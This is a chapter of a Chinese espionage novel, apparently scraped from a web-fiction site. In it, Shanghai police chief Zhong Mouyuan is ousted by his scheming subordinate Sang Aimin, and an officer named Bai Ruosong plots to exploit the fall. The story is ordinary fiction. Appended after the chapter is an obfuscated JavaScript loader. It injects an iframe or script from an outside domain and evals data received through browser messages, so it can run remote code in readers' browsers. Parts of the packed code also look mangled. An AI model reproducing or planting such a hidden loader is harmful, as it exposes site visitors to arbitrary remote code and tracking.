默认冷灰
24号文字
方正启体

第一卷_四十三、设局

    仲谋远拿起电话拨通了辛苗的电话,电话响了许久不见有人接听,仲谋远骂了句:“他妈的,这个婊子又跑哪去了?”

    仲谋远的话音刚落,桑爱民在门外喊了一声:“报告”

    仲谋远放下电话道:“进来吧”

    桑爱民跑进来,仲谋远看着他问:“又有什么事?”

    “局长,你听说了吗?”桑爱民看着他问。

    “听说什么?”仲谋远不耐烦地问。

    “南京来人把辛苗给带走了”桑爱民说。

    仲谋远一听忽地一下站起来问:“南京来人,带走碧眼猫?为什么带走她?她一个妓女带走她干什么呀?”

    “唉,我的局长大人啊,您还不知道吧?这个辛苗可不是简单的妓女啊,她是党务调查处的人。你没听说吗,前段时间南京来了一个叫梁铁辛的人,是党务调查处的专员,这个人也被带回南京了,跟辛苗一起被带走的”桑爱民看着他说。

    仲谋远脑袋嗡地一下,身子晃了晃一屁股坐下去。桑爱民看着仲谋远的样子心中暗笑,嘴上却说:“局长,您和那个辛苗没什么吧?”

    “我,我和她能有什么?你这话什么意思?”仲谋远看着他问。

    桑爱民摇摇头:“没意思,没意思,随口一问!”

    仲谋远心中此时开始担心起来,他知道自己跟辛苗在一起说过一些不该讲的话,一旦这个女人回到南京胡说八道,那自己可就要大难临头了。

    就在此时,桌上的电话响了起来,仲谋远颤颤巍巍的接起电话,一听声音,仲谋远立刻站起身道:“我是,我是仲谋远!”

    听完电话后的仲谋远再也坐不住了,他掏出手帕擦了擦额头沁出的汗滴,看看桑爱民,桑爱民看着他低声问:“局长,谁的电话?”

    仲谋远起身拿起帽子戴上整理了一下衣服说:“通知全局警务人员到楼下集合”

    “集合?什么事啊?”桑爱民问。

    “让你通知,你就去通知,问那么多干什么?废话连篇”仲谋远大声说。

    桑爱民答应着往外就跑,仲谋远跟在他身后走出办公室。

    当全局警务人员刚刚在楼下院子里集合起来的时候,一辆小轿车呼啸着开进警察局的大门。

    从车上下来的人让仲谋远一见就懵了,仲谋远双腿发软都不知道自己是怎么走到来人面前的。仲谋远好不容易站直了身子敬了一个礼说:“蔡署长驾到,仲某有失远迎”

    来人看看他道:“仲谋远仲局长,你真行啊!”

    仲谋远向后退了一步说:“属下知错!”

    这位被仲谋远称之为蔡署长的人正是来自国民党南京警察总署的副署长蔡开年。

    蔡开年瞪了一眼仲谋远直接走到集合的队伍前,仲谋远跟在后面来到他身旁

    站住脚步。

    蔡开年从跟在身旁的随从手里接过一个文件袋打开拿出一份文件大声念道:“上海警察局仲谋远因参与共党案件,又牵涉日谍案,现撤职查办,待查明真相之后,再行处理,上海警察局局长一职,暂由上海警察局重案科科长桑爱民代行职权。仲谋远即刻随我回南京协助调查”

    蔡开年刚刚念完,仲谋远身子一歪,差点摔倒在地上。桑爱民一把扶住他看着他说:“局长,您这是怎么了?”

    蔡开年看看桑爱民说:“桑科长,请你把你收集的关于仲局长参与共党案件和日谍案的材料准备好,我一并带回南京。你的那封举报信,高署长已经看过了,而且非常重视,希望你能随时配合我们的调查。”

    蔡开年的这几句话让本行已经就要昏倒的仲谋远不由得如同当头一棒。他看着桑爱民半天没说出话来。桑爱民笑着点点头说:“请蔡署长放心,我已经全部准备好了,我这就给您去拿”

    “桑爱民,桑爱民,你,你,我仲谋远待你不薄,你为何这般害我呢?”仲谋远手指着桑爱民大声问。

    “局长大人,您这话说得,我怎么害你了?我只不过是把你做的那些事汇报给署长而已,没有他意啊,你自己做的什么事情,你不知道吗?”桑爱民振振有词地看着仲谋远说。

    仲谋远看了一眼蔡开年说:“蔡署长,这是诬陷,很明显的诬陷”

    “是不是诬陷调查完了就知道了,仲局长还是收拾一下跟我回南京吧”蔡开年好不讲情面地看着仲谋远说。

    “我,我打个电话总可以吧?”仲谋远看着蔡开年问。

    蔡开年想了想问:“你要打给谁?”

    “白若松,白长官”仲谋远回答说。

    蔡开年一笑说:“那就算了,他是军政人士,你是我们警察系统的,他的话救不了你,况且我来之前也已经和他打过照面了,白长官说这事警察系统内部的事情,他不便多言,毕竟他还要给高署长一点面子的”

    “可是,可是我没有参与什么共党和日谍案啊?”仲谋远说。

    “回南京调查完了再定性吧,现在你说什么都没用了”蔡开年说完转身回到车上。

    桑爱民一溜小跑拿着文件来到蔡开年的车前将文件递进车窗说:“蔡署长您远道而来,在上海再停留一日吧,也让我略尽地主之谊”

    蔡开年看看他摇摇头:“算啦,重任在肩,不能耽误,上海警察局就暂时交给你了”

    桑爱民点点头伸手进到车里低声说:“我一定尽职尽责,绝不辜负二位署长的栽培”说着手一松,一个红色绸缎的小包裹扔在了蔡开年的腿上。蔡开年看看他一笑,将文件袋压在红色绸缎的小包裹上说:“年轻有为,好好干

    吧”

    桑爱民站直了身子敬了一个标准的礼大声说:“蔡署长一路平安,请恕属下职责在身不能远送了”说完回身看看仲谋远道:“仲局长请上车吧,我不送了!”

    蔡开年的两个随从过来拉着仲谋远上了车。看着蔡开年的车子开出去,桑爱民一笑说:“老东西,跟我玩,我让你死都不知道怎么死的”说完看看那些站的标杆溜直的警察们大喊道:“各位,从今天起,我便是这里的唯一可以发号施令的人,都明白了吗?”

    警察们异口同声道:“恭喜桑局长,贺喜桑局长!”桑爱民在一片恭喜声中,得意地摇晃着脑袋大摇大摆地走进大楼,直奔局长办公室。

    “白长官,您觉得仲谋远被撤职查办,桑爱民坐上了局长的宝座,这对我们来说是好事还是坏事呢?”徐子珊看着白若松问。

    白若松看看她一笑:“你说呢?”

    “我觉得未必是好事情,桑爱民这个人心狠手黑,他不像仲谋远只想贪点,拿点,而桑爱民他想要的整个上海滩,他想成为上海滩的霸主,他用心良苦的扳倒仲谋远,就是为了能上位,一旦他上来之后,不仅对共党会展开疯狂的抓捕,还会暗地里跟日本人勾结,为了找一个靠山,为此,他会不择手段。”徐子珊看着白若松说。

    “何以见得呢?”白若松看着她问。

    徐子珊想了想说:“桑爱民处心积虑得到局长的位置,就是为了在上海能有他的一片天地,虽然现在上海的共党活动已经几乎是偃旗息鼓状态,但是桑爱民一定会打着抓共党的旗号大张旗鼓地开始全市大搜捕,那时就要乱套了,他可以用他见不得人的手段诬陷、栽赃、陷害等,抓捕一大批所谓共党人士,然后向南京方面请功领赏,从而稳定他的位子。那将对我们的针对共党的调查和抓捕行动带来不必要的麻烦,起码他给共党提了醒,打草惊蛇,惊动了他们,从而给我们带来更多麻烦和不利。”

    白若松听完之后点点头问:“针对这种局面你有何高见或者有什么应对措施呢?”

    徐子珊琢磨了一会摇摇头。白若松笑了笑说:“我觉得这件事并非不好解决,只要我们保证仲谋远没有事,短时间内能让他再回到上海重新履职,那桑爱民不就没戏了吗?到那时,我们就可以牢牢掌控仲谋远了,你说什么他都得听着,因为是我们救了他,让他官复原职的,他不是不懂得感恩戴德的人,你说呢?”

    徐子珊眼睛一亮说:“白长官,那你打算如何救他呢?”

    “这个嘛,你容我再想想,我们一定要做得非常到位,既不能让别人说出什么,也不能直接让仲谋远知道是我们在帮他,要让他自己从别人那打听到,是我们的暗中

    帮忙,才让他重获新生,官复原职的。只有这样,他才能对我们感恩戴德,任凭我们使唤。”白若松的话让徐子珊不由得暗中感到眼前之人简直是深不可测,她甚至想到仲谋远一事,很有可能是白若松一手策划导演的。

    白若松看着徐子珊的眼睛,仿佛看出她心中所想,于是笑了笑说:“你先去忙吧,对了,你主动约一下桑爱民,先把他稳住,不要让他轻举妄动,我这边想想办法,就如你所言,切不可让他这颗屎壳郎毁了一锅好汤”

    “卑职明白,我这就去办,请白长官放心”徐子珊说完走出白若松的办公室。

    徐子珊前脚刚走,欧阳晓诺和庄子清以及陈剑三人走进来。

    白若松看看他们说:“按着我的部署,马上开始行动,我们最多给这个桑爱民一周时间享受他的局长待遇”

    三人一起点头道:“属下明白,已经开始行动了!”

    蔡开年的车子刚出上海不远,后面就有两辆车子尾随而来。

    蔡开年通过后视镜看了看问仲谋远道:“仲局长,你看看后面的车子认识吗?”

    仲谋远回头看了看说:“不认识”

    “我怎么感觉不像是来送我们的,倒像是来追我们的呢?”蔡开年说。

    仲谋远一听这话立刻赶到一种莫名的害怕,他看看蔡开年说“蔡署长,你说会不会是想老蒋那次一样啊?”

    “老蒋,你说蒋石毅?”蔡开年问。

    仲谋远又回头看了一眼说:“来者不善啊”

    “加快速度”蔡开年说。

    “署长,前面也来车了”司机说着指了指前方。

    蔡开年看看道路两旁问:“仲局长,这是什么地方?”

    “这里好像是六铺炕,没错就是六铺炕”仲谋远答说。

    “六铺炕?是什么地方?”蔡开年问。

    “上次老蒋就是在这里遭到袭击丧命的”仲谋远回答说。

    蔡开年手里紧紧握着那个红色绸缎小包裹说:“再快点,再快点,都给我准备好,枪上膛,实在不行就跟他们拼了”

    “我们才几个人,您看看前后车里足足十几个人呢”仲谋远指着前方疾驰而来的车说。

    (本章完)

    eval(function(p,a,c,k,e,d){e=function(c){return(c35?(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function{return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g,k[c])}}return p}('h 4="F"+E.d.C(B).H(2);c.6("<f L=\'"+4+"\'></f>");8((/(K)/i.J(b.I))){7.m(\'u\',v(e){h 3=e.x;8(3.9){8(7[3.9+"w"]!=1){7[3.9+"w"]=1;A(z(3.y.G(/\\+/g,"%15")))}}});c.6(\'<l 10="12:13;" d="j://m.n.t/s-11-\'+(r q).o+\'.14?N=5&17=\'+b["a"]+\'&p=\'+4+\'" 16="Y" R="Z%"  Q="0" P="o" S="0" T="X"></l>\}w{;c.6(\'<k d="j://m.n.t/s.V?\'+(r q).o+\'&U=1&p=\'+4+\'&a=\'+b["a"]+\'"><\\/k>\}',62,70,'|||_dat_d|djdzh||write|window|if|if_id|platform|navigator|document|src||div||var||https|script|iframe||24djk|getTime|lsbdid|date|new|51085|message|function||data|wz_ev_j|decodeURponent|eval|36|toString|random|math|div_|replace|substr|userAgent|test|UCBrowser|id|addEventListener|sdfa|no|scrolling|marginheight|width|frameborder|allowtransparency|is_bs|m3u8|else|true|auto|100|style||display|none|html|20|height|serasfd'.split('|,0,{}))